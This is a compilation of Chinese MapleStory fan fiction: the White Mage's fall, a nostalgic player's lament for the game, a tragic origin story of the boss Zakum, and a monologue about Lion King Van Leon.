“……不要,飞鱼丸!都躲到外面去!!!”马尔斯冲我们大声呼喊。

“白魔法师,住手!现在还能回头!”我试图阻止白魔法师。

“太迟了。”白魔法师笑了起来。

……传来雨声。

身体……还能移动。

我晕过去了多久?

当我醒过来的时候,外面电闪雷鸣,神殿已经一片狼藉,像刚进行过一番战斗之后的场景,马尔斯倒在大厅中。我努力支撑着身体,一步一步的走向马尔斯。

马尔斯倒在地上无法动弹,仅剩最后一点意识。

“咳……咳咳……竟然发生了这样的事……”

我问他:“白魔法师究竟发生了什么事?”

“研究终极光明,结果被那力量吞噬了。”马尔斯有气无力地说。

“光的力量深而广,是我们所不能想象的。相比之下我们就像是想要伸手触摸天空的小孩,就像是茫茫大海的被抛弃的一叶小舟般无气力…要是在那里就收手就好了…”

“不知从何时起…大师意识到自己犯了禁忌。可即使知道了他的研究方法有问题,他还是不顾一切地继续研究…而我也选择继续相信他,我很好奇他的研究将带来的崭新未来。光的另一面我们究竟会看到什么呢。”

“现在后悔太晚了……咳咳,咳咳。拜托你,请阻止大师吧,现在也许还能挽回。”

“啊……眼前什么都看不到。谁在那里?”飞鱼丸还没死,他倒在大厅的门口,但好像已经无法睁开自己的双眼。

我缓慢地走了过去:“我是佣兵。”

“原来是你啊。哈哈……我说什么来着?人生就是伸手不见五指的戏剧。光之魔法师,竟然被抢走了光,这就是我最后的结局……咳咳,咳咳。”

我看飞鱼丸情况非常不好,好像很难活下去了。

“凯特……对不起,还有我们还未出生的孩子……”

飞鱼丸的呼吸变淡。

他死了。

我哭着冲出神殿。

当我看到神殿外面全是尸体的时候,我后背一阵发凉。

……全部杀死了?相信你跟随你的所有人……?

……就这样吗?你所说的理想全部都是假话吗?

我往外跑,想找到白魔法师的背影,但一路上我只能看到数不胜数的极光研究员尸体,我不知道他们是怀着什么样的心情死去的。

终于,我看到在森林的深处有什么东西在发光,光是看着,就觉得眼睛得到了净化,是非常纯净的光块。在这个漫无天日的森林里,即使是很微弱的一点光,也会非常刺眼。

这是我至今未曾见过的完美的光之结晶。相比之下,现存的所有光芒之中都好像蕴含着黑暗似的……这光……是白魔法师的痕迹吗?连留给自己的最后一束光都要带走吗?

光之结晶好像马上就会消失一样,微弱地发着光。我仿佛看到了曾经纯净的白魔法师最后的模样。

……这前面究竟是什么?

好可怕。真想现在就逃离这里。

但是不能那样。

如果真的能阻止他的暴走的话,那么现在是唯一的机会了。

“白魔法师!你在哪里!快出来!”我在森林里大声呼喊白魔法师的名字。

就在此刻,一团黑影出现在我的面前。

无法继续挪动脚步,最终冻住了。

其实一开始就知道。

无法对抗他的力量。

但即便知道会死,我还是去追他了。

因为我想亲眼看到结局。

白魔法师。

……不,看到你的样子,就不能再这样称呼你了。

……黑魔法师。

好,来吧,我不会逃走,就算是牺牲我的生命,我也要给你留下永远忘不掉的伤口。

“喂,孩子,你打算跟着我到什么时候?”

“佣兵,我们做彼此的家人好吗?”

“……什么?

“你不觉得寂寞吗?就算你从这个世界上消失了,也不会有人记得你。所以,让我们成为彼此的家人吧,我们互相记着对方,怎么样?”

“……”

“切……开玩笑啦,佣兵。我才不相信这个呢。”

呼……我发生了什么事吗?身体无法移动……我死了吗?

眼前变得昏暗……这里。

我是流浪佣兵。

哪怕随时随地死去,也很正常的人生。

夕阳西下,风吹过衣角的某一天,我的尸体也将如同落叶一般,在某个地方飘荡。

但是如果说生命的尽头,有什么迫切的愿望的话……

虽然我即将死亡,但如果说在人生尽头,有什么迫切愿望的话……

白魔法师……

不,黑魔法师。

我的后代一定要阻止那个恶魔。

“喂,佣兵!醒醒!不要死啊!”

……哈哈……太好了,小孩……你还活着啊。

“不是说让我珍惜生命嘛!不是说即便对方很强也不要随意放弃生命嘛!为什么傻瓜一样地追过去!”

啊……

不行,说不出话来。

小孩的声音也慢慢远去了。

……看来,雨停了。

再次提起冒险,我已经不知道用什么心情去描述了。只是依稀记得,昏黄的天空渲染着周边,绿荫之上一群飞鸟悲鸣着。

双击游戏图标,拖着疲倦的双腿行走在荒无人际的市场上,寂静而悲凉。这让我想起了那荒废的青春,支离破碎的生活,破灭的梦想。霎时间,空白的思维慢慢地压住了神经。

曾经,冒险的路途如此漫长,闭上双眼竭尽全力的努力奔跑。而如今,我只是一个失利者,不错,失利者的我已经是一无所有,连我拥有的青春也消散了。

满目萧然,记忆里承载的大片大片悲伤纠缠不清,数不清的哀愁依托给黑暗,同黑暗分享斟酌。

对于冒险,我只想说:不知道是你抛弃了我,还是我遗弃了你。对你,早已没有当年的那份激情,同样你也只是客串在我的生活里。也许是我不仁,在我恐慌的日子逃避了你,也许是你不义,把最深的刺痛带给了我,一切的一切无从得知。

蓦然发觉,无法泯灭的记忆被岁月的灰尘覆盖了。岁月的流逝,或多或少我们都会丢失掉一部分的记忆,某些人、某些事,即使让我们多么刻苦铭心,多么难以忘怀,最终,它们都会被岁月的巨大洪流冲洗殆尽,不复存在。

夜里,一个人跑地图,去遍了自己喜欢的地方。我想追回往事,可无法追回,也没地方去追寻。原来,到头来我们都会败给时间。我厌倦那种升级打怪一成不变的无味生活,每天我都慵懒得不像话,坐在市场聊天,听着人家讲故事,偶尔逛逛市场……

我不知道自己是怎么了,突然的想哭却哭不出来,想笑也笑不出来,总会莫名地感到悲伤、空虚,对什么事情都提不起劲。

对着电脑久了就想睡觉,躺在床上就又开始无止境的遐想,一到夜晚就失眠,难以入睡。

我在拼命寻找一个能给自己温暖的地方,让疲惫的心有个归宿。彼时,试图找寻一个能理解包容我的人,让阴郁的天空变明朗。

一直一直听着带有淡淡忧伤的音乐,直到耳朵生疼才停止。冒险岛似乎真的远去了,那些花开的声音、绽放的瞬间却永远历历在目。

Maplestory,不要再问我曾经的纯真与梦想,那些都是我无力保护的东西。呐喊、哭泣、软弱,全部随着夕阳的晕染跌落在了遥远的地平线,消失不见。

Maplestory,你是否也早已明白,那些盛开在你年华里遥远的黑夜,是你无论如何坚守,也回不到的过去。

在一段段的章节里,填满了干涩的甚至略微僵硬的记忆。浅薄的流年中,我们学不会——己所不欲,勿施于人。

我们跌跌撞撞迷失在流年里,我的记录、我的沉默、我的思念、我的信仰、我的微笑、我的眼泪,全部在这一刻凝聚。

听,Maplestory,花开的声音!

扎昆

我的名字叫艾拉。可是我不知为何,当我背着母亲偷偷跑出家门时,雪域的人们都在背后悄悄地叫我——扎昆。
扎昆——在我们雪域的语言里是”魔鬼的女儿”的意思。
我是魔鬼的女儿!?
在我很小的时候,第一次听到那个长着胡子的老头凄厉而又恐慌地这么叫我的时候,我惊慌地跑回家门,惶恐地追问母亲为什么。
可是,母亲没有说话。她只是紧紧再紧紧地把我抱在胸前。我看不到她的表情,但是我感觉到了自己的后背一片潮湿。
从此,我不敢再追问母亲。
我知道自己是美丽的。而且美丽得无与伦比,惊世骇俗。
我不知道是什么原因,从小母亲就把我藏在家里,不许出门。有时我会叛逆地偷跑出来,坐在门口看看外面蔚蓝的天空,耀眼的阳光。
每当这时,从门口经过的人们就都会放缓脚步。少年们会用一种奇怪的眼光古怪地直盯着我那被夕阳染红的,比百合更娇艳的容颜。
那眼神带着痴迷,蛊惑,迷恋,还有恐慌。
每次,我都会明显地感觉到在雪域长老公馆下面的阴影中会有有一对凄厉的眼睛阴恻恻地盯着我,紧紧的,如蛇一样,凶狠而冰冷。
我知道肯定是那个长着胡子的老头。这时,我的后背就会冷飕飕地直冒冷气。
那天的情景马上历历在目。
“扎昆!扎昆!你是扎昆……魔鬼的女儿!”在血色夕阳下,他狰狞着表情,夕阳的血红落入他的眼中,满头白发在夕阳中飞舞。
红色透过他头发的空隙,仿佛千万滴鲜血飞溅。
“你会毁了整个雪域,你这个魔鬼的女儿,老天啊,当初为什么让她活着啊”那天那凄厉的叫声又在耳边回响,他惨厉的表情依然如此鲜明。
肯定是他,那阴影下如蛇一样的眼睛,肯定是他,那满眼血红的眼睛,肯定是他,那在风中飞舞的乱发,那惨厉的叫声,那狰狞的表情……肯定是他。
于是,在巨大的恐惧前我退缩了。我猛然转回身,把门砰然关上。躲在门后,我安全了。
门外,夕阳满天。
认识泰勒斯那年,我18岁。
我好久都没有出过家门。我的生活寂寥而孤独。透过窗户,我似乎永远都能看到那个老头如蛇的眼睛紧紧盯着这里。
从母亲口中,我知道他叫阿杜比斯。
他似乎永远都站立在那里,如山一样压迫着我,使我无法动弹。他成了我的梦魇。
我常常会透过窗户,望着外面的世界。那是我唯一和世界沟通的渠道。
在门外,总会有一堆一堆的少年,来来往往地穿梭在我家门前荒僻的小路上。偷偷偷偷地往我这边看,却不敢停下脚步。
那一天,彩霞满天。
在霞光的映照下,从雪域山丘,缓缓走来三个人,一个慈眉善目的老翁带着一男一女。他们似乎已经赶了很长时间的路程,风尘仆仆,衣衫褴褛。
但是,旅途的劳顿,依然不能掩盖住三人那尊贵的气质。尤其那个少年,眉眼间透着一股英气,当他披着满天霞光出现时,似乎如神降临。
在少年们惊诧的目光下。他们朝着我和母亲居住的位于雪域最偏远的小木屋走来。
“咚咚咚…”苍老的木门发出沉重的叹息。
带头的老翁礼貌地问我要一碗水。
母亲正好不在家,我不敢开门,我怕见到那阴惨的眼睛。
我在门后犹豫着。
门外的那个姑娘似乎已经疲累到不行了,身体开始晃动。
我只能”唰”得把门打开。
门外的三人似乎受到了很大的震动,都用诧异而直愣的目光看着我的脸。我早已经习惯于这种眼光了。
但是当那英俊少年的眼中也闪烁着异样光彩的时候,我竟然心中微微有点窃喜。
少女喝过水后,脸色恢复了不少,她是个美丽的女孩。
但是少年的眼睛却如影一般追随着我的身影。
老翁的声音扬起:”谢谢姑娘,我们师徒三人从很远的地方来,在下汉斯,这两个是我的徒弟,泰勒斯和鲁碧。请问姑娘怎么称呼?”
原来他叫泰勒斯,我知道了他的名字。
“艾拉。”那是少年带笑的声音,”很好听的名字。”望着少年灼灼的目光,我相信,他一生一世也不会忘记我了。
不久,他们又回来了。
在魔王蝙蝠魔的残暴统治下,尽管雪域远离魔都,但是,依然让所有的人变得猜忌而多疑。于是,这三个远道而来的陌生人,只能选择雪域最偏远的,和我家相邻的一处河边居住。
在他们来的第二天,小河边就出现了一个简陋的但是清雅的竹屋。
从此,从小孤独的我终于有人陪伴了。那个长着胡子的阿杜比斯尽管依然每天站在阴影下看守着我,但是我似乎不再害怕他。
我天天跑到河边和泰勒斯他们一起玩,我们在一起采桑椹,放风筝,捉小兔子。汉斯师父很慈祥,总是笑呵呵地看着我们三个玩。
日子在快乐中飞一般地逝去,我开始出落得沉鱼落雁,他也更增添了几分男子气,我越来越迷恋他,我们的感情也越来越深。可我万万没有想到,离别到来了。
那是一个残阳如血的黄昏,泰勒斯单独带着我来到小河边,我依偎在他宽阔地胸膛上,静静地看着天边绚烂的晚霞,偶尔一只迟归的乌鸦飞过,天地一片光辉寂静。
沉默了良久之后他开口了:“艾拉,我要走了。”
“走?”我一时没明白过来。

汉斯师傅要带我们移居到魔法密林去,他说在那里我们能够寻找到更为高深的技能。我们明天就要走了。”
我呆住了,从未想过的离别在这一时刻如此迅速地来临了,我顿时手足无措。
“我跟你们走。”我本能地嚷道,我没多想,我只知道我不能离开他。泰勒斯笑了:“傻丫头,你走了,你母亲还不急死。乖啊,你放心,我很快就会回来找你的。因为,我也舍不得你啊。“
太阳下山了,月亮升起来了,清凉的光辉洒在草地上,泰勒斯深情地道:“艾拉,这把所罗门宝剑是我们家传的宝贝,上面刻着我的名字。它陪了我22年了,现在我把它送给你。你放心,我很快就会回来娶你。我会带来最美丽的大红花轿和最美丽的凤冠霞帔,到时候,你一定是世界上最美丽的新娘。”
我伸手接过来,那是一把通体黑亮宝剑,清冷而孤傲,在月光中泛起蓝莹莹的光泽。
我把所罗门剑捧在胸口,重重地点了点头。
第二天清晨,尽管我很早就匆匆来到河边,可是,汉斯师父他们居住的竹院已经人去屋空,我看着空空的屋子,紧握手中的所罗门,只觉一片迷茫。
他,真的走了。
但我知道,他会回来的,他答应过我,一定会回来娶我的。我相信,他会带来最美丽的大红花轿和最美丽的凤冠霞帔,到时候,我一定是世界上是美丽的新娘,
此后的日子,我一直守着他的诺言,苦苦地等候。
秋天过去了,冬天过去了,春天过去了。我整日握着黑亮的所罗门坐在窗前,看着窗前的山顶上的积雪化了又结结了又化。
已经过去三年了。
泰勒斯没有来,祸事却来了。
那天黄昏,也是残阳如血,母亲急匆匆地跑进来,一言不发地抱着我痛哭。我很惊讶。后来母亲告诉我,蝙蝠魔王听人说起我的美丽,要让我做他的妃子。
这是一个令人毛骨悚然的名字,这个名字所到之处就意味着血腥、死亡、黑暗、绝望……
这个消息就像五雷轰顶,我刹时就傻了。母亲哭着对我说:“现在雪域所有人都知道了这个消息,没有一个人站出来为我们说句话,因为魔王下达命令了,如果你不肯去的话,就将进攻整个雪域。”
我拿着他留下的寒光闪闪的宝剑,心中一阵绝望。我怎么敢奢望别人会支持我安慰我。我是”魔鬼的女儿’啊,那个长着胡子的老头曾经那么凄厉地说着为什么我会活在这个世界上。所有人现在大概都等着好戏的上演吧……看着宝剑,我心中竟没有一丝畏惧,我想,既然再也见不到我的泰勒斯,与其受辱于魔王,不若一死以全名节。我抚着那通体散发冰冷气息的宝剑,心中暗道:“泰勒斯哥哥,来生再见。”横剑便欲自刎。
但是母亲却死命地拉着我,母亲如珍珠一般的眼泪终于让我不忍自残。
擦干眼泪,不知如何是好的我只能走出门外。微风如丝,却只能使我的心更是如绞般地疼痛。我在心中喃喃自语:哦,泰勒斯,泰勒斯,你在哪儿啊,我该怎么办啊,我该怎么办啊。
突然我感到有一双如蛇一般的眼睛正在看着我。
我的背脊马上飕飕地直冒冷气。
阿杜比斯!!!!
多少年了,他已经在我记忆中慢慢消逝。现在我才知道,其实他从未曾离去,那是深藏在我心中的无法磨灭的梦魇。
在长老公馆下的阴影中,他依然冷冷地盯视着我。
但是,我居然忘记了,刚才我已经连死亡都不怕了。
刚刚从死亡门口回来的我,这一次,居然没有选择逃亡。
于是,我向着那阴影走去。
阿杜比斯似乎预料到了我的到来,他用平静的表情看着我从光亮中向他走来。
我走到了那片阴影下,他依然和当年一样,披散着他的乱发,眼神依然冷峻而严厉,而我居然不再惧怕他。
“你来找我有什么事情?”他的语气也是出奇的平静,使我几乎怀疑当年那发出惨厉叫声的不是他。
“我来,只想知道一件事情。”我凑近他,用眼睛直视着他。
一阵风起,我的白色的衣裙在风中飞扬,我的长发如瀑布般随风飞舞。
那一刻,我似乎感觉到了阿杜比斯有刹那间的发愣。但是我立刻摇了摇头。
“我只想知道,为什么从小雪域的人就如此惧怕于我我想知道,为什么你们要称呼我为扎昆,我想知道,为什么母亲不许我出门,还有!”我停了一停。
“还有什么?”
“还有我是谁的女儿?”我几乎是用叫的声音喊出来的,”我到底是谁?是谁?是谁?”
但是,他对于我的情绪激动却几乎视若无睹,只是平静地、淡淡地、冷冷地看着我。但是,我这次很肯定的是在他眼中,我居然看到了一丝柔情。
柔情?我几乎不敢相信我的眼睛,但是这次我确定。
“你和你母亲当年长得很象。”他几乎是在低语,但是我却听的很清楚。
“你确实和当年的莎丽很像啊……”他似乎陷入了回忆中,眼神开始迷离。
“当年莎丽是我们雪域公认的雪域之花,有无数的少年为她倾倒。她不仅美丽而且温柔,那么善良那么纯洁。
我和她从小青梅竹马,并且互相许下誓言,我非她不娶,她非我不嫁。”老人的声音悠远而憔悴,像从遥远的梦中传来的呓语。
我听着呆住了,几乎不能说话,也忘记了如何呼吸,只能直直地直直地看着他。

“当年,统治世界的还不是蝙蝠魔王,而是另一个魔鬼。他长着8只手,每只手都有无穷的法力和无边的威力,比现在的蝙蝠魔更残暴、更血腥,也更强大。有一次,他在无意中见到了你的母亲……”他的呼吸开始急促起来。
“于是,他派人把莎丽带走。不管我如何阻止,都无济于事。我用尽我所有的力量,依然……依然只能眼睁睁的看着莎丽从我身边离开……”
我能看见老人散乱的头发剧烈的在颤动,也许是风。
半晌,他才恢复了镇定。
眼光好刺眼,我几乎睁不开眼。
世界上所有的声音都消失了。
阿杜比斯离我只有一步的距离,可是我却看不见他。整个天空在我涣散的眼中旋转。
“是我?!”那是被撕碎的声音,却发自我的口中。
“唉!”一声悠长而无力的叹息,仿佛来自几个世纪前,穿过重重的时间帷幕,已经破损不堪:
“你是魔鬼的女儿,是的。”仿佛七月深潭一般的眼睛幽幽地望向我,”但是,尽管憎恨你,我却依然无法对当时刚出生的你痛下杀手。
“看着莎丽那痛苦的样子,我怎么也下不了手。”
“我在一夜之间就白了头发。”
“由于你的父亲,不,那是个魔鬼。我们整个岛上,情况之惨烈你根本无法想象,不仅是我,所有的人都憎恨于你。但是,为了莎丽……为了莎丽…我依然没能对你下手。”
老人的眼睛闭了一闭,脸色惨白。
“我于是担负起看守你母亲和你的职责,我把你们安顿在远离雪域的这个地方,寸步不离地看守着你们。因为,你的血液中流着魔鬼的鲜血,所有的人都无法预测会有什么事情发生,不管是什么,结果都是我们所无法承受的。”
“那次,我为了你母亲,使整个岛屿几乎毁于一旦。”老人的声音如此痛苦,含着深深的忏悔之情,”那一次,尽管魔王被消灭了,
但是,我们的人也几乎没几个存活下来,而蝙蝠魔却趁这个机会开拓了他的势力,恶势力重新占据了上风,但是我们却已没有力量阻止了……。”
接下去,他说了什么,我已经永远也无法回忆出来。
我只是怔怔地怔怔地看着他,一句话也说不出来。
呵呵,我原来真的是魔鬼的女儿。难怪从小雪域的人们都如此惧怕于我,难怪母亲终年以泪洗面,难怪……
有太多的难怪。我能接受任何别的原由,却实在无法接受这个事实。
“艾拉。”这声呼唤惊醒了我。
他居然称我为艾拉。这是第一次有雪域的人这样称呼我,这虽然是我的名字,但是在他们的脑海中,我永远都是扎昆。
“艾拉。蝙蝠魔不仁,天下之人都欲反之。但他这些年来的基业,不易动摇。我等须等候机会。今若你能够进献于他,他必为了你而在其他地方有所松懈,我们便有机可乘。再者,就眼下看来,你若执意不去,必定生灵涂炭。”
他的话语如同刀片一样刀刀劈向我的心口。
“艾拉,我知道这样很为难你。但是,当年由于你的父亲,已经使那么多无辜的生命消失了,你忍心现在再为了你,使人民再次受到伤害吗?”
我只能无力地瘫倒在地上。眼泪悄悄悄悄地落在手心里。
我知道他说的也有道理。
我的心里十分矛盾,不欲与蝙蝠魔为妃,但是如果我就此一死,整个岛上的百姓便会遭殃,甚至我的母亲也会有杀身之祸。
更重要的是,我舍不得多年不见的泰勒斯哥哥。
我多想再次见见我的泰勒斯啊。
他说过他会回来找我的。
我相信他会回来找我的。
又是一个残阳如血的黄昏。
我依然无法做出决定。我呆呆地坐在汉斯师傅他们离去的竹屋前,对着一池秋水发愣。
泪眼朦胧,一刻不曾离开过的所罗门发着幽冷的光芒。
“艾拉,艾拉……”有个熟悉的声音轻唤我的名字。
太多次午夜梦回中,听到这个熟悉的声音,太多次醒来的伤心失望,我怀疑我又在梦中。
我睁开眼,昏暗的夕阳中,赫然是一张似曾相识的英俊面孔。
“泰勒斯哥哥!”我欣喜若狂。
“我不要去魔都,你带我走吧。”
他一颤,我感觉到了,我抬起双目,凝神着他的眼睛。
还是那双眼睛,但似乎有陌生的东西在里面。
“艾拉,你听我说,只有推翻蝙蝠魔,我们才能永永远远地在一起。如果我们现在逃走,他会追杀我们一生的。”他款款地告诉我。
我怔怔地看着他,没有开口。
“艾拉,我很想和你一起隐居山林,过神仙眷侣的生活。不过……汉斯师傅和阿杜比斯大人已经暗中筹备了好长时间,准备一举推翻魔王。但如今时候未到,如果现在就战斗,恐怕胜算不大。”他皱着眉头。
我有些心疼他的左右为难。
“我明白!我明天就进宫。”我轻轻地说。
泰勒斯很感动地抱紧我,在我耳边柔柔地说:“艾拉,只要推翻蝙蝠魔,我就带着你,找一处山清水秀的地方,快快乐乐地过下半辈子,好吗?”
我坐上魔王派人带来的最华丽的轿子。旁边有无数的随从跟随着。
穿过冰冷的雪域峡谷,穿过闪烁着无数星星的美丽的天空之城,穿过幽森的密林,穿过无数的灰狼白狼出没的山谷。
我终于抵达了魔都。

远远望见魔都的时候,我把所罗门紧紧地攥在手中。
我穿上最美丽的衣裙,化上最精致的妆,一步一步风情万种地走进大殿。
原本喧嚣的大殿因为我的出现变得鸦雀无声。
所有的目光都集中在我的身上,都是我所熟悉的目光,男人的,女人的,欲望的,嫉妒的。
出乎我的意料,外界传言如恶魔般可怕的蝙蝠魔脱下他可怕的面具后,竟是一个很迷人的男子。他的迷人不是如泰勒斯般的英俊。他的脸轮廓分明,肤色黝黑,显得极为刚毅。还有,霸气,他的身上有一种令常人窒息的霸气,他的眼神凶残而霸道。
我明白自己的绝世美貌,于是我浅浅一笑,我知道,天底下的男子,无能抵挡此笑者。
就算是残暴如是的他也无法抵挡。
他也笑了笑。
他什么也没说,走下王位,牵着我的雪白的纤手,走进了罗帐重重的后宫。
魔王从此便只留在我一个人身边,每天看我梳头,给我画眉。他开始不去关心宫殿以外的事情,渐渐的,他所有的手下看我的神情都是既无奈又嫉妒还有深深地惧意。我知道,可我不在乎,他疼我,他只在乎我一个人,至少,现在是。
他只跟我厮守在一起。每天都如此。
我已经快失去了自己的思想。我每天只想着一件事情,我的泰勒斯,他在哪?他也想我吗?
每当午夜梦回时,看着所罗门泛起幽幽的光芒,映着雪白的肉体,显得凄迷而美丽。
我总是会想起那个黄昏,和泰勒斯在一起。
我甚至开始恨自己的美丽,如果,如果我不是如此美丽,也许我还好好地在那个偏远的木屋之中,有母亲和我相伴。旁边是汉斯师傅和泰勒斯哥哥以及鲁碧小师妹。
但是如果我不再美丽,那么,那么,泰勒斯会喜欢我吗?
我想不明白,我理不清自己的思绪,于是我拼命地喝酒,拼命地想忘掉一切。
而蝙蝠魔,他一定会陪在我身边,任我为所欲为。
泰勒斯答应过我,一朝灭了魔都,便带我避俗远去,我的梦想快成真了,为什么却觉得彷徨呢?
我不是当初的艾拉了。
我已不知道自己是属于哪一方的了。
进攻的队伍所向披靡,势如破竹。
尽管魔王的手下个个凶残成性,但是早已人心浮动的队伍却是永远都无法强大的。
战况一天比一天紧急。
终于,魔王最后的一个将领,那个可怕的有着钢铁一般魔爪的狼人首领,前来报告,进攻部队的人已经包围了宫殿。
那天早晨的阳光格外明媚,我换上最美丽的衣衫,化上最精致的妆,对着他浅浅盈笑。蝙蝠魔眼光迷离地看着我,低声道:“你真美。”他的眼里,是由衷的赞叹。
我的心一痛。
他把我紧紧地拥在怀中。
我竟然哭了。
他抚着我满是泪水桃花般的脸颊。
随后,他穿上他已经好久没穿的有着蝙蝠般双翼的衣服,带上他的蝙蝠面具,走出了大门。
在关上大门之际,在满天的血色夕阳中,他回过头来。
刚毅的脸上竟全是柔情,深深地凝视着我。
然后,大门便砰然关上。
屋内一片寂静。
门外有嘶杀声,怒吼声,刀剑碰撞的声音,惨叫声,法师们发出的雷电交加声………
我只有傻呆呆地站着。
外面突然安静下来,安静得让人害怕。
我似乎意识到了什么,发疯一样的冲出门外。
蝙蝠魔高大的身躯正在缓缓倒下。
我奔过去。
他的身躯倒向我的怀中,我抱着他依旧火热的身体,无力地坐倒在地上。
“答应我,来世我们再见,好吗?”他的声音几近耳语。
一片阴影笼罩了我,还有我怀中的魔王的的尸体。是的,尸体!我还没来得及回答他。
是泰勒斯,不,是义军的将领和他贤良的妻子。
他看着我,眼睛里充满凌厉。
“我会带来最美丽的大红花轿和最美丽的凤冠霞帔,到时候,你一定是世界上是美丽的新娘。”他的誓言犹在耳边。
他没有带来大红花轿和凤冠霞帔,他带来的是他的妻子,温柔纯洁的鲁碧师妹。
而我,已经成了人神共愤、千夫所指的妖姬。
“艾拉,只要推翻蝙蝠魔王,我就带着你,找一处山清水秀的地方,快快乐乐地过下半辈子,好吗?”他的承诺已随风散去,他眼里的柔情早已消失,他带来的只有军队。
这个就是那个爱我的泰勒斯,那个发誓要娶我的泰勒斯。
我冷冷地看着他,冷冷地看着他的鲁碧师妹,冷冷地看着他带来的军队……
我的血液几乎开始凝固,我站起来,缓缓走到他们面前,风华绝代。他和他的将士尽皆目眩神迷。
宫殿外,人声鼎沸。人们高声嚷着:“杀了扎昆,杀了那个妖妇。”
他的瞳孔忽然收缩了,我听得到他的手因紧握而发出“咔咔”的骨节的响声。
这个就是我最爱的泰勒斯吗?
为了他,我忍受无尽的煎熬,为了他,我故意破坏最爱我的魔王的统治,为了他,我被万人唾骂,为了他……
我依然只是冷冷地看着他。
手上依然紧攥着他送我的所罗门宝剑。
他慢慢地抬起他手中的霸王宝剑,迎上我雪白的脖颈。透过山泉般冰凉的剑锋,我感觉到他的手在颤抖。
但是,刀锋依然没有停留,我感到了有红色的液体缓慢流下。
无边的疼痛在整个大地弥漫。

液体似乎染遍了我的全身。
我凝固了的血液像火一样开始熊熊燃烧,我用发红的眼睛看着他,看着他。我的整个身心犹如撕裂一般疼痛,
我的双肩犹如被利刃从两边分开,但是这些都比不上我心中的愤怒与悲痛……。
所有人们的眼睛突然闪露出恐惧的光芒,从泰勒斯一下子越发收缩的瞳孔中,
我突然看到了一个不属于这个世界的生物,它长着8只手,头发散乱不堪,眼睛犹如被鲜血染过……我脚步沉重向前走去,她也跟着移动……
“扎昆!扎昆!魔鬼的女儿,你是扎昆!!!”许多年前,阿杜比斯的惨厉的叫声又在而边回响。
我的身体里流着魔鬼的鲜血。
我终于成了真正的扎昆了。
但是我已经不能思想了,我被无边的愤怒所吞噬,四周在我的愤怒之火下,结成了无数的结界,身处其中的人们全部被它所散发出来的威力所征服,一下子便灰飞湮灭。
泰勒斯鲁碧和其他高手马上警觉起来,我用仇恨的眼光盯视着他们,朝他们走去。
具体什么情形我已经无法记起,我只记得我眼前有无数的人影晃动,然后无数的人影倒下,发出凄厉的呼声,血肉横飞,血流成河。
我只知道一件事情,我要向着其中一个最高大的身影走去。
当我清醒过来时,我的周围堆积着无数的身首异处的尸体。空中弥漫着令人几乎窒息的血腥之气,鲜血在我脚下缓缓流淌……
整个世界,在我面前只剩下泰勒斯和鲁碧。
我用已经变形了的粗笨的手拿起他送我的所罗门,伸到他面前。
面容憔悴的他只是呆呆地看着我,眼中流露的除恐惧之外还是恐惧,我双手发抖地拿着宝剑继续向他慢慢递过去。
突然,所罗门宝剑往下滴着红色的液体,泰勒斯身上立刻染成一片血红。那是我的双手沾满了刚才死去人们的鲜血,并且顺着宝剑向下流淌。
我的双手继续抖个不停,看着眼前的我曾经最深爱的男人,看着周围的尸横遍野,看着我沾满血腥的双手……
宝剑”当”地掉落到了地上。
在他旁边的是魔王已经冰冷尸体。
“来生再见,好吗?”通过所罗门的反光,映射出的是我已经不再美丽的身躯。
我怎么还能做到呢,怎么还能呢?
我俯身拿起所罗门,对着魔王冰冷的尸身,温柔的笑了笑。我的笑容不再迷人,然后慢慢递向自己。我沉重的身体如一座山,轰然倒在地上,长长的浓发铺散开来,盖满了他身边的地面,不再散发出昔日的芬芳,依稀依然残留着他陈年的吻痕。
宝剑掉在了地上,发出悠然的长鸣声。
我微笑着盍上不再明亮的双眼,长长的睫毛把我和泰勒斯隔在了两个世界。那一瞬间,我看见了,他的眼中,闪闪烁烁。
眼泪慢慢溢出我的眼眶,泪光映出的世界中,我看到宫殿外汉斯师傅和阿杜比斯已经赶到了。当阿杜比斯见到我后,隐隐我发现他眼中有愧疚之意,但是我已经没有力气去确认了。整个魔都已经完全覆灭了,那个夜夜笙歌、纸醉金迷,散发着残忍气息的王朝已经烟消云散。
我终于闭上了我的双眼,眼角残留着我的最后一滴眼泪。
许多许多年以后,雪域一直流传着这样一个传说:在当年那场残酷的战争结束后,鲁碧和泰勒斯最终没能在一起,他们常年驻守在木屋旁边的长老公馆中,培养着未来的法师和战士,因为那一场战斗使整个雪域几乎崩溃,几乎没有人存活下来。
而阿杜比斯,在最后时刻赶到后,把还没完全断气的扎昆带到了一个无人知晓的地下山洞里,永生永世终年守护着她。

        我已经是一无所有了,我这样的人,没有资格去回忆她……

狮子王 班·雷昂

——狮子王 班·雷昂

“国王变成了黑魔法师的手下,犯下了很多罪行,把他除掉,是我存在的唯一理由……嗯?过去的好国王为什么会变成这个样子?这个嘛……说起来话可就长了,你想听听吗?”

“就像你看到的,我们王国位于冰雪覆盖的地区,是个土地贫瘠的贫穷小国,也许是因为这样,这里的人们反而拥有一颗热情的心……对物质方面的享受并不在意。”

“所以,当听说黑魔法师出现的时候,我们都很平静,不管黑魔法师的目的是什么,我们相信他都不会入侵我们王国,因为这是个不可能被占领的王国。”

“反黑魔法师同盟成立之后,他们向我们请求协助,但我们的想法依旧没有变,我们说黑魔法师和我们没关系,对于这个贫瘠的地方来说,每一个士兵的生命都是宝贵的,因此拒绝参加同盟……这就是我们的结论。”

“但是反黑魔法师同盟不接受我们的拒绝。他们把我们说成是黑魔法师的手下,并向我们发动攻击,我们拼命抵抗,但我也说过,我们王国是个贫穷的国家……不久之后,我们的防线就崩溃了。”

“等出去试图说服反黑魔法师同盟的国王回来的时候,我们的城已经是一片火海了。他一定遭受了巨大的冲击,因为他失去了一切,陷入绝望和愤怒的国王……最终选择成为了黑魔法师的手下。”

“黑魔法师让世界陷入了黑暗……但是灭亡我们王国的不是黑魔法师,而是因为反黑魔法师同盟。”

“这是个悲伤而又沉重的故事,通过它,可以看到恐惧会让人类做出什么样的事情……不过反黑魔法师同盟为什么要采取如此行动,还是让人有点无法理解……这是很久以前的事情了。”

“而且仇已经报完了。依靠从黑魔法师那里获得的力量,他攻击了反黑魔法师同盟。在几百年之后的今天,他却还在这里危害子孙,没有比这更可耻的了。现在,到了把憎恨和复仇的锁链切断的时候了。”

“看你的表情,好像是对狮子王产生同情心了吧,其实没有必要这样,我也可以理解他的愤怒和悲伤,但是即便如此,把灵魂出卖给黑魔法师也不是个正确的选择。”

“我一直相信他是个即使身处绝境,也会为了美好的未来而前进的人,所以才会追随着他,抛弃一切,成为黑魔法师的仆人,和所有人类作对,就算是死,也不应该用这样的方式复仇。”

